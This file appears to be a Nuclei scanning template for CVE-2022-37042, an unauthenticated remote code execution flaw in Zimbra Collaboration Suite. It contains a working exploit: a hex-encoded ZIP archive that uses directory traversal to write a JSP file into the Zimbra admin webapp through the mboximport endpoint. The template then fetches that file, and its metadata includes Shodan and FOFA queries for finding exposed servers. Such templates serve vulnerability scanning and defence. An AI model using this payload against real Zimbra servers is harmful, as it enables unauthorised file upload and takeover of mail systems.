60 lines
3.6 KiB
YAML
60 lines
3.6 KiB
YAML
id: CVE-2022-37042
|
|
|
|
info:
|
|
name: Zimbra Collaboration Suite 8.8.15/9.0 - Remote Code Execution
|
|
author: _0xf4n9x_,For3stCo1d
|
|
severity: critical
|
|
description: |
|
|
Zimbra Collaboration Suite (ZCS) 8.8.15 and 9.0 has mboximport functionality that receives a ZIP archive and extracts files from it. By bypassing authentication (i.e., not having an authtoken), an attacker can upload arbitrary files to the system, leading to directory traversal and remote code execution. NOTE: this issue exists because of an incomplete fix for CVE-2022-27925.
|
|
remediation: |
|
|
Apply the latest security patches or upgrade to a non-vulnerable version of Zimbra Collaboration Suite.
|
|
reference:
|
|
- https://www.volexity.com/blog/2022/08/10/mass-exploitation-of-unauthenticated-zimbra-rce-cve-2022-27925/
|
|
- https://blog.zimbra.com/2022/08/authentication-bypass-in-mailboximportservlet-vulnerability/
|
|
- https://github.com/vnhacker1337/CVE-2022-27925-PoC
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-37042
|
|
- https://wiki.zimbra.com/wiki/Security_Center
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2022-37042
|
|
cwe-id: CWE-22
|
|
epss-score: 0.97489
|
|
epss-percentile: 0.99954
|
|
cpe: cpe:2.3:a:zimbra:collaboration:8.8.15:-:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 4
|
|
vendor: zimbra
|
|
product: collaboration
|
|
shodan-query: http.favicon.hash:"1624375939"
|
|
fofa-query: app="zimbra-邮件系统"
|
|
tags: cve,cve2022,zimbra,rce,unauth,kev
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST {{path}} HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept-Encoding: gzip, deflate
|
|
content-type: application/x-www-form-urlencoded
|
|
|
|
{{hex_decode("504b0304140008000800000000000000000000000000000000003d0000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a73701cc8bd0ac2301000e0bd4f510285042128b8555cfc5bc4163bb4743bdb4353cf24c64bf4f145d76f55642eb2f6c158262bc569b8b4e3bc3bc0046db3dc3e443ecb45957ad8dc3fc705d4bbaeeaa3506566f19d4f90401ba7f7865082f7640660e3acbe229f11a806bec980cf882ffe59832111f29f95527a444246a9caac587f030000ffff504b0708023fdd5d8500000089000000504b0304140008000800000000000000000000000000000000003d0000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a73701cc8bd0ac2301000e0bd4f510285042128b8555cfc5bc4163bb4743bdb4353cf24c64bf4f145d76f55642eb2f6c158262bc569b8b4e3bc3bc0046db3dc3e443ecb45957ad8dc3fc705d4bbaeeaa3506566f19d4f90401ba7f7865082f7640660e3acbe229f11a806bec980cf882ffe59832111f29f95527a444246a9caac587f030000ffff504b0708023fdd5d8500000089000000504b0102140014000800080000000000023fdd5d85000000890000003d00000000000000000000000000000000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a7370504b0102140014000800080000000000023fdd5d85000000890000003d00000000000000000000000000f00000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a7370504b05060000000002000200d6000000e00100000000")}}
|
|
- |
|
|
GET /zimbraAdmin/0MVzAe6pgwe5go1D.jsp HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
payloads:
|
|
path:
|
|
- /service/extension/backup/mboximport?account-name=admin&ow=2&no-switch=1&append=1
|
|
- /service/extension/backup/mboximport?account-name=admin&account-status=1&ow=cmd
|
|
|
|
stop-at-first-match: true
|
|
req-condition: true
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'status_code_1 == 401'
|
|
- 'status_code_2 == 200'
|
|
- "contains(body_2,'NcbWd0XGajaWS4DmOvZaCkxL1aPEXOZu')"
|
|
condition: and
|